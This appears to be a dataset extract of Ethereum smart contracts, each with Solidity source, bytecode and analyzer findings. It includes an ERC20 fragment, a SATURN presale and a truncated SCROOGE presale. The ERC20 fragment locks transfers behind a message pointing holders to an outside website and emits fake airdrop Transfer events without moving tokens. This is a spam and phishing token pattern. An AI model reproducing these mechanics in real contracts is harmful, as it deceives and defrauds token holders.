function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
unchecked {
_approve(sender, _msgSender(), currentAllowance - amount);
}
return true;
}
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
}
return true;
}
function _transfer(
address sender,
address recipient,
uint256 amount
) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(_unlocked[sender], "ERC20: token must be unlocked before transfer.Visit https://velochain.io for more info'");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[sender] = senderBalance - amount;
}
_balances[recipient] += amount;
_unlocked[recipient] = true;
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
_unlocked[account] = true;
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
_unlocked[account] = false;
emit Transfer(account, address(0), amount);
}
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
////////////////////////////////////////////////////////////
////////////////////////////////////////////////////////////
function mint(address account, uint256 amount) public payable onlyOwner {
_mint(account, amount);
}
function burn(address account, uint256 amount) public payable onlyOwner {
_burn(account, amount);
}
function batchTransferToken(address[] memory holders, uint256 amount) public payable {
for (uint i=0; i<holders.length; i++) {
emit Transfer(address(this), holders[i], amount);
}
}
function withdrawEth(address payable receiver, uint amount) public onlyOwner payable {
uint balance = address(this).balance;
if (amount == 0) {
amount = balance;
}
require(amount > 0 && balance >= amount, "no balance");
receiver.transfer(amount);
}
function withdrawToken(address receiver, address tokenAddress, uint amount) public onlyOwner payable {
uint balance = IERC20(tokenAddress).balanceOf(address(this));
if (amount == 0) {
amount = balance;
}
require(amount > 0 && balance >= amount, "bad amount");
IERC20(tokenAddress).transfer(receiver, amount);
}
}
|
0x60806040526004361061011f5760003560e01c806370a08231116100a0578063a457c2d711610064578063a457c2d7146102cd578063a5500c30146102ed578063a9059cbb1461030d578063dd62ed3e1461032d578063f2fde38b1461037357600080fd5b806370a0823114610248578063715018a6146102685780638da5cb5b1461027d57806395d89b41146102a55780639dc29fac146102ba57600080fd5b806323b872dd116100e757806323b872dd146101c6578063313ce567146101e6578063395093511461020257806340c10f1914610222578063512d7cfd1461023557600080fd5b806301e336671461012457806306fdde0314610139578063095ea7b31461016457806318160ddd146101945780631b9a91a4146101b3575b600080fd5b61013761013236600461110e565b610393565b005b34801561014557600080fd5b5061014e61051d565b60405161015b919061127d565b60405180910390f35b34801561017057600080fd5b5061018461017f36600461114e565b6105af565b604051901515815260200161015b565b3480156101a057600080fd5b506003545b60405190815260200161015b565b6101376101c13660046110ab565b6105c5565b3480156101d257600080fd5b506101846101e136600461110e565b61067e565b3480156101f257600080fd5b506040516012815260200161015b565b34801561020e57600080fd5b5061018461021d36600461114e565b610728565b61013761023036600461114e565b610764565b610137610243366004611160565b61079c565b34801561025457600080fd5b506101a5610263366004611088565b610821565b34801561027457600080fd5b5061013761086a565b34801561028957600080fd5b506000546040516001600160a01b03909116815260200161015b565b3480156102b157600080fd5b5061014e6108a0565b6101376102c836600461114e565b6108af565b3480156102d957600080fd5b506101846102e836600461114e565b6108e3565b3480156102f957600080fd5b5061013761030836600461124d565b61097c565b34801561031957600080fd5b5061018461032836600461114e565b6109ab565b34801561033957600080fd5b506101a56103483660046110d6565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205490565b34801561037f57600080fd5b5061013761038e366004611088565b6109b8565b6000546001600160a01b031633146103c65760405162461bcd60e51b81526004016103bd906112d0565b60405180910390fd5b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561040857600080fd5b505afa15801561041c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104409190611265565b90508161044b578091505b60008211801561045b5750818110155b6104945760405162461bcd60e51b815260206004820152600a60248201526918985908185b5bdd5b9d60b21b60448201526064016103bd565b60405163a9059cbb60e01b81526001600160a01b0385811660048301526024820184905284169063a9059cbb90604401602060405180830381600087803b1580156104de57600080fd5b505af11580156104f2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610516919061122d565b5050505050565b60606001805461052c90611334565b80601f016020809104026020016040519081016040528092919081815260200182805461055890611334565b80156105a55780601f1061057a576101008083540402835291602001916105a5565b820191906000526020600020905b81548152906001019060200180831161058857829003601f168201915b5050505050905090565b60006105bc338484610a53565b50600192915050565b6000546001600160a01b031633146105ef5760405162461bcd60e51b81526004016103bd906112d0565b47816105f9578091505b6000821180156106095750818110155b6106425760405162461bcd60e51b815260206004820152600a6024820152696e6f2062616c616e636560b01b60448201526064016103bd565b6040516001600160a01b0384169083156108fc029084906000818181858888f19350505050158015610678573d6000803e3d6000fd5b50505050565b600061068b848484610b78565b6001600160a01b0384166000908152600760209081526040808320338452909152902054828110156107105760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084016103bd565b61071d8533858403610a53565b506001949350505050565b3360008181526007602090815260408083206001600160a01b038716845290915281205490916105bc91859061075f908690611305565b610a53565b6000546001600160a01b0316331461078e5760405162461bcd60e51b81526004016103bd906112d0565b6107988282610dfd565b5050565b60005b825181101561081c578281815181106107c857634e487b7160e01b600052603260045260246000fd5b60200260200101516001600160a01b0316306001600160a01b03166000805160206113cc8339815191528460405161080291815260200190565b60405180910390a3806108148161136f565b91505061079f565b505050565b6001600160a01b03811660009081526005602052604081205460ff1661084957505060045490565b506001600160a01b031660009081526006602052604090205490565b919050565b6000546001600160a01b031633146108945760405162461bcd60e51b81526004016103bd906112d0565b61089e6000610ee5565b565b60606002805461052c90611334565b6000546001600160a01b031633146108d95760405162461bcd60e51b81526004016103bd906112d0565b6107988282610f35565b3360009081526007602090815260408083206001600160a01b0386168452909152812054828110156109655760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b60648201526084016103bd565b6109723385858403610a53565b5060019392505050565b6000546001600160a01b031633146109a65760405162461bcd60e51b81526004016103bd906112d0565b600455565b60006105bc338484610b78565b6000546001600160a01b031633146109e25760405162461bcd60e51b81526004016103bd906112d0565b6001600160a01b038116610a475760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016103bd565b610a5081610ee5565b50565b6001600160a01b038316610ab55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103bd565b6001600160a01b038216610b165760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103bd565b6001600160a01b0383811660008181526007602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610bdc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103bd565b6001600160a01b038216610c3e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103bd565b6001600160a01b03831660009081526005602052604090205460ff16610cf25760405162461bcd60e51b815260206004820152605760248201527f45524332303a20746f6b656e206d75737420626520756e6c6f636b656420626560448201527f666f7265207472616e736665722e56697369742068747470733a2f2f76656c6f60648201527f636861696e2e696f20666f72206d6f726520696e666f27000000000000000000608482015260a4016103bd565b6001600160a01b03831660009081526006602052604090205481811015610d6a5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016103bd565b6001600160a01b03808516600090815260066020526040808220858503905591851681529081208054849290610da1908490611305565b90915550506001600160a01b0380841660008181526005602052604090819020805460ff191660011790555190918616906000805160206113cc83398151915290610def9086815260200190565b60405180910390a350505050565b6001600160a01b038216610e535760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f20616464726573730060448201526064016103bd565b8060036000828254610e659190611305565b90915550506001600160a01b03821660009081526006602052604081208054839290610e92908490611305565b90915550506001600160a01b038216600081815260056020526040808220805460ff19166001179055516000805160206113cc83398151915290610ed99085815260200190565b60405180910390a35050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038216610f955760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b60648201526084016103bd565b6001600160a01b038216600090815260066020526040902054818110156110095760405162461bcd60e51b815260206004820152602260248201527f45524332303a206275726e20616d6f756e7420657863656564732062616c616e604482015261636560f01b60648201526084016103bd565b6001600160a01b038316600090815260066020526040812083830390556003805484929061103890849061131d565b90915550506001600160a01b0383166000818152600560209081526040808320805460ff19169055518581529192916000805160206113cc8339815191529101610b6b565b8035610865816113b6565b600060208284031215611099578081fd5b81356110a4816113b6565b9392505050565b600080604083850312156110bd578081fd5b82356110c8816113b6565b946020939093013593505050565b600080604083850312156110e8578182fd5b82356110f3816113b6565b91506020830135611103816113b6565b809150509250929050565b600080600060608486031215611122578081fd5b833561112d816113b6565b9250602084013561113d816113b6565b929592945050506040919091013590565b600080604083850312156110bd578182fd5b60008060408385031215611172578182fd5b823567ffffffffffffffff80821115611189578384fd5b818501915085601f83011261119c578384fd5b81356020828211156111b0576111b06113a0565b8160051b604051601f19603f830116810181811086821117156111d5576111d56113a0565b604052838152828101945085830182870184018b10156111f3578889fd5b8896505b8487101561121c576112088161107d565b8652600196909601959483019483016111f7565b509997909101359750505050505050565b60006020828403121561123e578081fd5b815180151581146110a4578182fd5b60006020828403121561125e578081fd5b5035919050565b600060208284031215611276578081fd5b5051919050565b6000602080835283518082850152825b818110156112a95785810183015185820160400152820161128d565b818111156112ba5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600082198211156113185761131861138a565b500190565b60008282101561132f5761132f61138a565b500390565b600181811c9082168061134857607f821691505b6020821081141561136957634e487b7160e01b600052602260045260246000fd5b50919050565b60006000198214156113835761138361138a565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b0381168114610a5057600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220f8dd82f455d122abd52d6eaaeba1565aca4a333cd3a79c4d67848947de4392f664736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 3,554 |
0xd2f7a3cbcc4aa43de3cd23f19bd5d9ce4524e135
|
pragma solidity ^0.4.18;
// SATURN strategic exchange program
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC223 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function name() constant returns (string _name);
function symbol() constant returns (string _symbol);
function decimals() constant returns (uint8 _decimals);
function totalSupply() constant returns (uint256 _supply);
function transfer(address to, uint value) returns (bool ok);
function transfer(address to, uint value, bytes data) returns (bool ok);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event ERC223Transfer(address indexed _from, address indexed _to, uint256 _value, bytes _data);
}
contract ContractReceiver {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ERC223Token is ERC223 {
using SafeMath for uint;
mapping(address => uint) balances;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply;
// Function to access name of token .
function name() constant returns (string _name) {
return name;
}
// Function to access symbol of token .
function symbol() constant returns (string _symbol) {
return symbol;
}
// Function to access decimals of token .
function decimals() constant returns (uint8 _decimals) {
return decimals;
}
// Function to access total supply of tokens .
function totalSupply() constant returns (uint256 _totalSupply) {
return totalSupply;
}
// Function that is called when a user or another contract wants to transfer funds .
function transfer(address _to, uint _value, bytes _data) returns (bool success) {
if(isContract(_to)) {
return transferToContract(_to, _value, _data);
}
else {
return transferToAddress(_to, _value, _data);
}
}
// Standard function transfer similar to ERC20 transfer with no _data .
// Added due to backwards compatibility reasons .
function transfer(address _to, uint _value) returns (bool success) {
//standard function transfer similar to ERC20 transfer with no _data
//added due to backwards compatibility reasons
bytes memory empty;
if(isContract(_to)) {
return transferToContract(_to, _value, empty);
}
else {
return transferToAddress(_to, _value, empty);
}
}
//assemble the given address bytecode. If bytecode exists then the _addr is a contract.
function isContract(address _addr) private returns (bool is_contract) {
uint length;
assembly {
//retrieve the size of the code on target address, this needs assembly
length := extcodesize(_addr)
}
if(length>0) {
return true;
}
else {
return false;
}
}
//function that is called when transaction target is an address
function transferToAddress(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
//function that is called when transaction target is a contract
function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) {
if (balanceOf(msg.sender) < _value) revert();
balances[msg.sender] = balanceOf(msg.sender).sub(_value);
balances[_to] = balanceOf(_to).add(_value);
ContractReceiver reciever = ContractReceiver(_to);
reciever.tokenFallback(msg.sender, _value, _data);
Transfer(msg.sender, _to, _value);
ERC223Transfer(msg.sender, _to, _value, _data);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
contract SaturnPresale is ContractReceiver {
using SafeMath for uint256;
bool public active = false;
address public tokenAddress;
uint256 public hardCap;
uint256 public sold;
struct Order {
address owner;
uint256 amount;
uint256 lockup;
bool claimed;
}
mapping(uint256 => Order) private orders;
uint256 private latestOrderId = 0;
address private owner;
address private treasury;
event Activated(uint256 time);
event Finished(uint256 time);
event Purchase(address indexed purchaser, uint256 id, uint256 amount, uint256 purchasedAt, uint256 redeemAt);
event Claim(address indexed purchaser, uint256 id, uint256 amount);
function SaturnPresale(address token, address ethRecepient, uint256 presaleHardCap) public {
tokenAddress = token;
owner = msg.sender;
treasury = ethRecepient;
hardCap = presaleHardCap;
}
function tokenFallback(address /* _from */, uint _value, bytes /* _data */) public {
// Accept only SATURN ERC223 token
if (msg.sender != tokenAddress) { revert(); }
// If the Presale is active do not accept incoming transactions
if (active) { revert(); }
// Only accept one transaction of the right amount
if (_value != hardCap) { revert(); }
active = true;
Activated(now);
}
function amountOf(uint256 orderId) constant public returns (uint256 amount) {
return orders[orderId].amount;
}
function lockupOf(uint256 orderId) constant public returns (uint256 timestamp) {
return orders[orderId].lockup;
}
function ownerOf(uint256 orderId) constant public returns (address orderOwner) {
return orders[orderId].owner;
}
function isClaimed(uint256 orderId) constant public returns (bool claimed) {
return orders[orderId].claimed;
}
function () external payable {
revert();
}
function shortBuy() public payable {
// 10% bonus
uint256 lockup = now + 12 weeks;
uint256 priceDiv = 1818181818;
processPurchase(priceDiv, lockup);
}
function mediumBuy() public payable {
// 25% bonus
uint256 lockup = now + 24 weeks;
uint256 priceDiv = 1600000000;
processPurchase(priceDiv, lockup);
}
function longBuy() public payable {
// 50% bonus
uint256 lockup = now + 52 weeks;
uint256 priceDiv = 1333333333;
processPurchase(priceDiv, lockup);
}
function processPurchase(uint256 priceDiv, uint256 lockup) private {
if (!active) { revert(); }
if (msg.value == 0) { revert(); }
++latestOrderId;
uint256 purchasedAmount = msg.value.div(priceDiv);
if (purchasedAmount == 0) { revert(); } // not enough ETH sent
if (purchasedAmount > hardCap - sold) { revert(); } // too much ETH sent
orders[latestOrderId] = Order(msg.sender, purchasedAmount, lockup, false);
sold += purchasedAmount;
treasury.transfer(msg.value);
Purchase(msg.sender, latestOrderId, purchasedAmount, now, lockup);
}
function redeem(uint256 orderId) public {
if (orderId > latestOrderId) { revert(); }
Order storage order = orders[orderId];
// only owner can withdraw
if (msg.sender != order.owner) { revert(); }
if (now < order.lockup) { revert(); }
if (order.claimed) { revert(); }
order.claimed = true;
ERC223 token = ERC223(tokenAddress);
token.transfer(order.owner, order.amount);
Claim(order.owner, orderId, order.amount);
}
function endPresale() public {
// only the creator of the smart contract
// can end the crowdsale prematurely
if (msg.sender != owner) { revert(); }
// can only stop an active crowdsale
if (!active) { revert(); }
_end();
}
function _end() private {
// if there are any tokens remaining - return them to the owner
if (sold < hardCap) {
ERC223 token = ERC223(tokenAddress);
token.transfer(treasury, hardCap.sub(sold));
}
active = false;
Finished(now);
}
}
|
0x6060604052600436106100b65763ffffffff60e060020a60003504166302c7e7af81146100bb57806302fb0c5e146100e05780630ab4debd146101075780636352211e146101115780636ff26ebb146101435780639956a28c1461014b5780639d76ea58146101535780639e34070f14610166578063a43be57b1461017c578063bede4bd81461018f578063c0ee0b8a146101a5578063db006a751461020a578063e8eb228414610220578063fb86a40414610236575b600080fd5b34156100c657600080fd5b6100ce610249565b60405190815260200160405180910390f35b34156100eb57600080fd5b6100f361024f565b604051901515815260200160405180910390f35b61010f610258565b005b341561011c57600080fd5b610127600435610271565b604051600160a060020a03909116815260200160405180910390f35b61010f61028c565b61010f6102a2565b341561015e57600080fd5b6101276102b7565b341561017157600080fd5b6100f36004356102cb565b341561018757600080fd5b61010f6102e4565b341561019a57600080fd5b6100ce60043561031a565b34156101b057600080fd5b61010f60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061032f95505050505050565b341561021557600080fd5b61010f6004356103b2565b341561022b57600080fd5b6100ce6004356104f7565b341561024157600080fd5b6100ce61050c565b60025481565b60005460ff1681565b626ebe004201636c5f40ba61026d8183610512565b5050565b600090815260036020526040902054600160a060020a031690565b6301dfe2004201634f790d5561026d8183610512565b62dd7c004201635f5e100061026d8183610512565b6000546101009004600160a060020a031681565b6000908152600360208190526040909120015460ff1690565b60055433600160a060020a039081169116146102ff57600080fd5b60005460ff16151561031057600080fd5b61031861069b565b565b60009081526003602052604090206002015490565b60005433600160a060020a03908116610100909204161461034f57600080fd5b60005460ff161561035f57600080fd5b600154821461036d57600080fd5b6000805460ff191660011790557f3ec796be1be7d03bff3a62b9fa594a60e947c1809bced06d929f145308ae57ce4260405190815260200160405180910390a1505050565b6000806004548311156103c457600080fd5b6000838152600360205260409020805490925033600160a060020a039081169116146103ef57600080fd5b816002015442101561040057600080fd5b600382015460ff161561041257600080fd5b5060038101805460ff19166001908117909155600054825491830154600160a060020a03610100909204821692839263a9059cbb9291169060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561048d57600080fd5b5af1151561049a57600080fd5b5050506040518051505081546001830154600160a060020a03909116907f34fcbac0073d7c3d388e51312faf357774904998eeb8fca628b9e6f65ee1cbf790859060405191825260208201526040908101905180910390a2505050565b60009081526003602052604090206001015490565b60015481565b6000805460ff16151561052457600080fd5b34151561053057600080fd5b600480546001019055610549348463ffffffff61077c16565b905080151561055757600080fd5b6002546001540381111561056a57600080fd5b60806040519081016040908152600160a060020a0333168252602080830184905281830185905260006060840181905260045481526003909152208151815473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0391909116178155602082015181600101556040820151816002015560608201516003909101805491151560ff19909216919091179055506002805482019055600654600160a060020a03163480156108fc0290604051600060405180830381858888f19350505050151561063b57600080fd5b33600160a060020a03167fd721454499cf9c37b757e03b9d675df451c229048129d6e2d552216a035e6a556004548342866040518085815260200184815260200183815260200182815260200194505050505060405180910390a2505050565b6000600154600254101561073c5750600054600654600254600154600160a060020a03610100909404841693849363a9059cbb939116916106e19163ffffffff61079316565b60405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b151561072457600080fd5b5af1151561073157600080fd5b505050604051805150505b6000805460ff191690557f86954ecc0ae072157fcf7f87a425a1461295a4cc9cc3122d2efc73bf32d98e1a4260405190815260200160405180910390a150565b600080828481151561078a57fe5b04949350505050565b60008282111561079f57fe5b509003905600a165627a7a72305820eb281fc14231771bbb6209415c41b47b58ae1acf418e7895d8fc3bdebf47ad210029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 3,555 |
0xfa79da845bcfabd7d729916ad4a3f0850a32b55c
|
pragma solidity ^0.6.0;
// SPDX-License-Identifier: UNLICENSED
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function ceil(uint256 a, uint256 m) internal pure returns (uint256 r) {
require(m != 0, "SafeMath: to ceil number shall not be zero");
return (a + m - 1) / m * m;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address payable public owner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner, "Only allowed by owner");
_;
}
function transferOwnership(address payable _newOwner) public onlyOwner {
owner = _newOwner;
emit OwnershipTransferred(msg.sender, _newOwner);
}
}
// ----------------------------------------------------------------------------
// 'SCROOGE' token contract
// Symbol : SCRG
// Name : SCROOGE
// Total supply: 3000
// Decimals : 18
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract SCROOGE is IERC20, Owned {
using SafeMath for uint256;
string public symbol = "SCRG";
string public name = "SCROOGE";
uint256 public decimals = 18;
uint256 _totalSupply = 3000 * 10 ** (18); // 3000
mapping(address => uint256) balances;
mapping(address => mapping(address => uint256)) allowed;
uint256 saleStart;
uint256 public ethsReceived;
uint256 ethCap = 100 ether;
mapping(address => bool) whitelisted;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
constructor() public {
owner = 0x677DdD722f07f5B4925762Be5cE98b50D24a347e;
balances[address(this)] = 3000 * 10 ** (18); // 3000
emit Transfer(address(0), address(this), 3000 * 10 ** (18));
saleStart = 1606071600; // 22 Nov, 2020 7pm GMT
}
/*****************Pre sale functions***********************/
modifier saleOpen{
